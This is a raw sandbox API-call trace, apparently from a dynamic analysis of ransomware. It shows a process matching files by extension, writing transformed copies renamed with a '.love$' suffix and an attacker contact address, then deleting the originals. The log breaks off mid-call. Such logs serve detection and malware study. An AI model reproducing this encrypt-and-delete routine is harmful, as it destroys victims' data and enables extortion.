[0123.902] lstrlenW (lpString=".doc") returned 4 [0123.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString=".docx") returned 5 [0123.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.902] lstrlenW (lpString=".pdf") returned 4 [0123.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.902] lstrlenW (lpString=".xls") returned 4 [0123.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.903] lstrlenW (lpString=".xlsx") returned 5 [0123.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.903] lstrlenW (lpString=".ppt") returned 4 [0123.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.903] lstrlenW (lpString=".zip") returned 4 [0123.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.903] lstrlenW (lpString=".rar") returned 4 [0123.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.903] lstrlenW (lpString=".bz2") returned 4 [0123.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.903] lstrlenW (lpString=".7z") returned 3 [0123.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.903] lstrlenW (lpString=".dbf") returned 4 [0123.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.903] lstrlenW (lpString=".1cd") returned 4 [0123.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0123.903] lstrlenW (lpString=".jpg") returned 4 [0123.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.903] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.904] lstrlenW (lpString="BL00248_.WMF") returned 12 [0123.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.904] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=1536) returned 1 [0123.904] CloseHandle (hObject=0x3a0) returned 1 [0123.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0123.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.905] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.905] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.906] GetLastError () returned 0x0 [0123.906] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x600, lpOverlapped=0x0) returned 1 [0123.982] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x610, lpOverlapped=0x0) returned 1 [0123.984] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0123.984] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0123.984] SetEndOfFile (hFile=0x344) returned 1 [0123.984] CloseHandle (hObject=0x344) returned 1 [0123.986] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.986] SetEndOfFile (hFile=0x3a0) returned 1 [0123.987] CloseHandle (hObject=0x3a0) returned 1 [0123.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0123.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.988] lstrlenW (lpString=".doc") returned 4 [0123.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.988] lstrlenW (lpString=".docx") returned 5 [0123.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.988] lstrlenW (lpString=".pdf") returned 4 [0123.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.988] lstrlenW (lpString=".xls") returned 4 [0123.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.988] lstrlenW (lpString=".xlsx") returned 5 [0123.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.988] lstrlenW (lpString=".ppt") returned 4 [0123.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.988] lstrlenW (lpString=".zip") returned 4 [0123.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.988] lstrlenW (lpString=".rar") returned 4 [0123.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.988] lstrlenW (lpString=".bz2") returned 4 [0123.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.988] lstrlenW (lpString=".7z") returned 3 [0123.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.989] lstrlenW (lpString=".dbf") returned 4 [0123.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.989] lstrlenW (lpString=".1cd") returned 4 [0123.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.989] lstrlenW (lpString=".jpg") returned 4 [0123.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.989] lstrlenW (lpString=".doc") returned 4 [0123.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.989] lstrlenW (lpString=".docx") returned 5 [0123.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.989] lstrlenW (lpString=".pdf") returned 4 [0123.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.989] lstrlenW (lpString=".xls") returned 4 [0123.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.989] lstrlenW (lpString=".xlsx") returned 5 [0123.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.989] lstrlenW (lpString=".ppt") returned 4 [0123.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.989] lstrlenW (lpString=".zip") returned 4 [0123.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.990] lstrlenW (lpString=".rar") returned 4 [0123.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.990] lstrlenW (lpString=".bz2") returned 4 [0123.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.990] lstrlenW (lpString=".7z") returned 3 [0123.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.990] lstrlenW (lpString=".dbf") returned 4 [0123.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.990] lstrlenW (lpString=".1cd") returned 4 [0123.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0123.990] lstrlenW (lpString=".jpg") returned 4 [0123.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.990] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.990] lstrlenW (lpString="BL00261_.WMF") returned 12 [0123.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.991] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=12482) returned 1 [0123.991] CloseHandle (hObject=0x3a0) returned 1 [0123.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0123.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.991] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.991] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.992] GetLastError () returned 0x0 [0123.992] ReadFile (hFile=0x3a0, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0) Thread: id = 17 os_tid = 0xffc [0093.462] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3871248 [0093.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3881250 [0093.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b090 [0093.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d250 [0093.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b060 [0093.463] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3c21020 [0093.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b0c0 [0093.467] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b0c0, Size=0x20) returned 0x4eebd8 [0093.467] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b018 [0093.467] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b018, Size=0x20) returned 0x4eeae8 [0093.467] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.468] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.468] Wow64DisableWow64FsRedirection (in: OldValue=0x321ff50 | out: OldValue=0x321ff50*=0x0) returned 1 [0093.468] lstrlenW (lpString="kernel32.dll") returned 12 [0093.468] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.468] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.468] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.468] Sleep (dwMilliseconds=0x64) [0094.093] Sleep (dwMilliseconds=0x64) [0094.625] lstrcmpiW (lpString1=".ini", lpString2=".love$") returned -1 [0094.654] lstrlenW (lpString="desktop.ini") returned 11 [0094.654] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.654] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=129) returned 1 [0094.654] CloseHandle (hObject=0x2f4) returned 1 [0094.655] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0094.655] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.655] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.655] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.655] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.655] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0094.656] GetLastError () returned 0x0 [0094.656] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x81, lpOverlapped=0x0) returned 1 [0094.674] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x90, lpOverlapped=0x0) returned 1 [0094.681] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.682] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xea, lpOverlapped=0x0) returned 1 [0094.682] SetEndOfFile (hFile=0x2d4) returned 1 [0094.682] CloseHandle (hObject=0x2d4) returned 1 [0094.683] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.683] SetEndOfFile (hFile=0x2f4) returned 1 [0094.685] CloseHandle (hObject=0x2f4) returned 1 [0094.685] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x26) returned 1 [0094.685] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0094.686] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.686] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.686] lstrlenW (lpString=".doc") returned 4 [0094.686] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.686] lstrlenW (lpString=".docx") returned 5 [0094.686] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.686] lstrlenW (lpString=".pdf") returned 4 [0094.686] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.686] lstrlenW (lpString=".xls") returned 4 [0094.686] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.686] lstrlenW (lpString=".xlsx") returned 5 [0094.686] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0094.686] lstrlenW (lpString=".ppt") returned 4 [0094.686] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.686] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.686] lstrlenW (lpString=".zip") returned 4 [0094.686] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.686] lstrlenW (lpString=".rar") returned 4 [0094.686] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.686] lstrlenW (lpString=".bz2") returned 4 [0094.686] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.686] lstrlenW (lpString=".7z") returned 3 [0094.686] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.687] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.687] lstrlenW (lpString=".dbf") returned 4 [0094.687] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.687] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.687] lstrlenW (lpString=".1cd") returned 4 [0094.687] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.687] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.687] lstrlenW (lpString=".jpg") returned 4 [0094.687] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.687] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.687] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.687] lstrlenW (lpString=".doc") returned 4 [0094.687] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.687] lstrlenW (lpString=".docx") returned 5 [0094.687] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.687] lstrlenW (lpString=".pdf") returned 4 [0094.687] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.687] lstrlenW (lpString=".xls") returned 4 [0094.687] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.687] lstrlenW (lpString=".xlsx") returned 5 [0094.687] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0094.687] lstrlenW (lpString=".ppt") returned 4 [0094.687] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.687] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.687] lstrlenW (lpString=".zip") returned 4 [0094.687] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.688] lstrlenW (lpString=".rar") returned 4 [0094.688] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.688] lstrlenW (lpString=".bz2") returned 4 [0094.688] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.688] lstrlenW (lpString=".7z") returned 3 [0094.688] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.688] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.688] lstrlenW (lpString=".dbf") returned 4 [0094.688] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.688] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.688] lstrlenW (lpString=".1cd") returned 4 [0094.688] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.688] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0094.688] lstrlenW (lpString=".jpg") returned 4 [0094.688] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.688] Sleep (dwMilliseconds=0x64) [0096.611] Sleep (dwMilliseconds=0x64) [0097.095] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0097.095] lstrlenW (lpString="eula.rtf") returned 8 [0097.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.097] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8876) returned 1 [0097.097] CloseHandle (hObject=0x2d8) returned 1 [0097.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0097.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.097] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.097] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0097.100] GetLastError () returned 0x0 [0097.100] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0097.107] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0097.109] ReadFile (in: hFile=0x2d8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 